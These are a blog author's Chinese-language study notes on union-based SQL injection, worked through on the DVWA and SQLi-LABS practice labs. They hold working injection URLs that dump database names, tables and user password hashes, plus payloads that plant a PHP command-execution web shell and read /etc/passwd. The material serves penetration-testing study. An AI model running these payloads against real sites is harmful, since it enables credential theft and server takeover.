学习笔记-渗透测试-SQL注入_002_回显注入
1 显注
显注通常采取union联合SQL语句的方式进行,又称为union联合注入
1.1 union操作符介绍
在注入中有一个函数叫做union,作用是联合查询,常被用于数据库注入
select username,password from users where id=1 union select 1,version();
这里需要注意的是,我们要符合列数对应,两列内容必须对应两列,否则就会报错
所以我们这里添加单独查询1(查询1会直接返回1)来占位,结果第一行返回了id=1的username,password和第二行返回了查询1的结果和mysql版本号
为了更直观的演示,我们打开SQLi-LABS Less-1的index.php,直接跳转到20行与29行
我们发现在20行获取了传入id之后,没有经过任何的处理,就直接把放进了sql语句中进行应用,并且在33行开始返回结果
如果我们正常传入数字id的话,将会输出id所对应的username和password的值
limit 0,1指的是从第0条开始返回一条记录
我们现在已知传入时候代码会被无过滤的放到id=的后面,所以我们构造一个联合查询,查询版本号,同时将' limit 0,1使用注释符注释
select * from users where id='1' union select version(),1,2;#' limit 0,1;
我们在浏览器中构造url
http://127.0.0.1/Less-1/?id=1%27%20union%20select%20version(),1,2;%23
因为#通常会用在编码中,所以直接使用#会报错,%23是#的编码
我们发现语句被正常执行了,但是由于网页输出只输出一行的原因没能被输出出来
那我们就让第一行报错,报错就不执行了,而且数据库第一列是id,网页中也是不输出的,所以我们把他version()和1换个位置
重新构造URL
http://127.0.0.1/Less-1/?id=-1%27%20union%20select%201,version(),2;%23
输出成功
大致流程如下图
1.2 union注入应用场景
union注入是有一定的前提条件的
- 只要UNION连接的几个查询的字段数一样且列的数据类型转换没有问题,就可以查询出结果
- 注入点页面需要有回显
注意点
- order by 语句需要放在最后一个select语句中
- limit 语句也需要放在最后一个select语句中
1.3 union注入过程
- order by确定列数
- 观察页面返回,选取可以显示数据的位置,进行下一步注入
- 读库、表、字段、数据、及任意相关语句
2 案例1
以DVWA靶场为例,在登录后将安全级别设置为low(安全级别为低)
DVWA 默认用户 admin 密码 password
并且在关卡页面点击右下角ViewSource
可查看当前关卡源代码
2.1 查找注入点
找到SQl Injection 选项,测试是否存在注入点,这里用户交互的地方为表单,这也是常见的SQL注入漏洞存在的地方。正常测试,输入1输入2都可以正常得到结果,但当输入变为1'
时,表单提示错误,我们就可以确定该处是参与SQL语句的组成部分,基本可以确定有注入漏洞
经过推测,该程序中查询的SQL语句应该是
select * from XXX where id='1'
在经过我们测试时,语句被修改为了
select * from XXX where id='1''
如此,这个搜索语句多余一个引号,会引发报错。同时,这也代表了,攻击者是可以对原有程序进行拼接与注入的,只要尽力构造攻击语句,就可以对后端数据库为所欲为
tips:
问:如果在web页面中输入1',website返回500的状态码,能否确定为SQL注入?
答:不能,虽然同为报错,但500是指服务器内部错误,并不能证明传入语句参与了SQL命令执行
为了进一步确认我们能否自如的操作后端数据库,我们以此构造插入如下语句:
1' and 1=1#
1' and 1=2#
那么理想中,第一条语句1=1
结果为True,应该能够正常返回数据,而1=2
结果为False,则应该不能返回数据
select * from XXX where id='1' and 1=1#'
select * from XXX where id='1' and 1=2#'
由此我们确认了,这个漏洞真实存在,而且后续有可以完全被攻击者操作
我们通过查看源代码的方式,能够清楚的发现SQL注入发生的原由
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) { # 1.点击确认按钮
$id = $_REQUEST[ 'id' ]; # 2.获取到id的参数
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
# 3.直接将获取的id参数的变量$id 直接带入SQL语句中(漏洞产生原因)
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
# 4.执行SQL语句
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
while( $row = mysqli_fetch_assoc( $result ) ) {
# 5.将SQL查询结果进行分割
$first = $row["first_name"];
$last = $row["last_name"];
# 6.直接将结果进行输出
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
break;
case SQLITE:
global $sqlite_db_connection;
#$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']);
#$sqlite_db_connection->enableExceptions(true);
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}
if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}
?>
2.2 判断字段数量
为了方便构造SQL注入语句,我们首先需要判断字段数量
# order by 排序
1' order by 2#
# 当order by number 小于等于 字段数时,排序工作可正常进行
# 当order by number 大于 字段数时,数据库会报错
order by number
当number
等于1和2均没有报错,而3报错,说明字段数为2
2.3 判断回显点
在通过sql注入漏洞查询数据之前,我们需要判断查询的数据会被回显到哪里
1' and 1=2 union select 1,2#
由于提前知道字段数为2,所以select 1,2
即可判断全部字段在页面中对应
First name
对应位置1
,Surname
对应位置2
2.4 数据库用户,当前数据库
First name
对应数据库用户,Surname
对应当前数据库
1' and 1=2 union select user(),database()#
2.5 查询数据库版本
注意,在数据库查询时,字段有多少条,都必须占位,否则会报错
# 联合查询前数据可以直接用空数据占位,就不需要再做and 1=2了
' union select 1,version()#
2.6 查询操作系统信息
' union select 1,@@global.version_compile_os from mysql.user#
2.7 获取数据库元数据
在mysql5.0之后版本以及Mariadb数据库中有information_schema
数据库,它存储了数据库的元数据,例如数据库名、表名、列的数据类型、访问权限
等信息
information_schema
库中的SCHEMATA
表存储了数据库中的所有库信息,TABLES
表存储数据库中的表信息,包括表属于哪个数据库,表的类型、存储引擎、创建时间等信息。COLUMNS
表存储表中的列信息,包括表有多少列、每个列的类型等
构造以下语句可以查到所有的库名
' union select 1,schema_name from information_schema.schemata #
构造以下语句可以查到DVWA库的表名
' union select 1,table_name from information_schema.tables where table_schema='dvwa' #
构造以下语句可以查到DVWA库users表的列名
' union select 1, column_name from information_schema.columns where table_schema='dvwa' and table_name='users' #
2.8 查询具体的数据
# 例如 查询dvwa库users表的user,password字段
' union select user,password from dvwa.users #
得到的密码通常为经过md5加密后的值,可以尝试进行在线解密,https://www.cmd5.com/
3 案例2
3.1 查找注入点
# 正常显示
http://192.168.0.102:81/Less-1/?id=1
# 报错
http://192.168.0.102:81/Less-1/?id=1'
# 正常显示
http://192.168.0.102:81/Less-1/?id=1' and '1'='1
# 不显示
http://192.168.0.102:81/Less-1/?id=1' and '1'='2
3.2 判断字段数量
http://192.168.0.102:81/Less-1/?id=1' order by 3 -- #
使用order by排序来猜数据表有多少列,如果order by大于列数,则会报错,这里3返回正常,4返回如下,说明有3列
3.3 判断回显点
http://192.168.0.102:81/Less-1/?id=-1 union select 1,2,3 -- #
需要原始查询数据不显示,故,查询id=-1
,联合查询才能被看到
3.4 查询数据库列表
http://192.168.0.102:81/Less-1/?id=-1' union select 1,2,schema_name from information_schema.schemata -- +
通常数据库不止一条,但此处只有一个显示点
3.4.1 使用limit限制输出一条一条查询
http://192.168.0.102:81/Less-1/?id=-1' union select 1,2,schema_name from information_schema.schemata limit 1,1 -- +
limit(序号,个数)
3.4.2 使用group_concat将结果组合成一条进行输出
http://192.168.0.102:81/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata -- +
3.5 查询数据表名
# 查询security库表名
http://192.168.0.102:81/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' -- +
# 查询当前数据库表名
http://192.168.0.102:81/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- +
# 数据库名可使用十六进制表示
http://192.168.0.102:81/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 -- +
3.6 查询列明
# 查询users表的列名
http://192.168.0.102:81/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' -- +
# 可使用十六进制
http://192.168.0.102:81/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 -- +
3.7 查询表单内容
http://192.168.0.102:81/Less-1/?id=-1' union select 1,2,concat_ws('~',username,password) from security.users limit 0,1 -- +
表单内容不止一行,所以会导致显示不出来的问题,使用group_concat的,但会导致username和password连到一块儿不好分辨,于是乎就使用concat_ws中间插入~符号进行username和password的分割,但情况又出现了concat_ws分割后还是多条数据,只能使用limit进行一行一行的查看
还有一种强行使用group_concat的方式,把分隔符加载username和password中间
http://192.168.0.102:81/Less-1/?id=-1' union select 1,2,group_concat(username,'~',password) from security.users limit 0,1 -- +
3.8 获取当前用户,数据库版本
http://192.168.0.102:81/Less-1/?id=-1' union select 1,user(),version() -- +
3.9 写文件
http://192.168.0.102:81/Less-1/?id=-1' union select 1,2,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "aaa.php"-- #
使用sql注入向网页目录写一个一句话木马
3.8 读文件
http://192.168.0.102:81/Less-1/?id=-1' and 1=2 union select 1,2,load_file('/etc/passwd'); -- +
偶尔会出现文件已经读取,但页面中不显示的情况,则鼠标右键打开查看网页源代码即可
本文来自博客园,作者:kinghtxg,转载请注明原文链接:https://www.cnblogs.com/kinghtxg/articles/17158161.html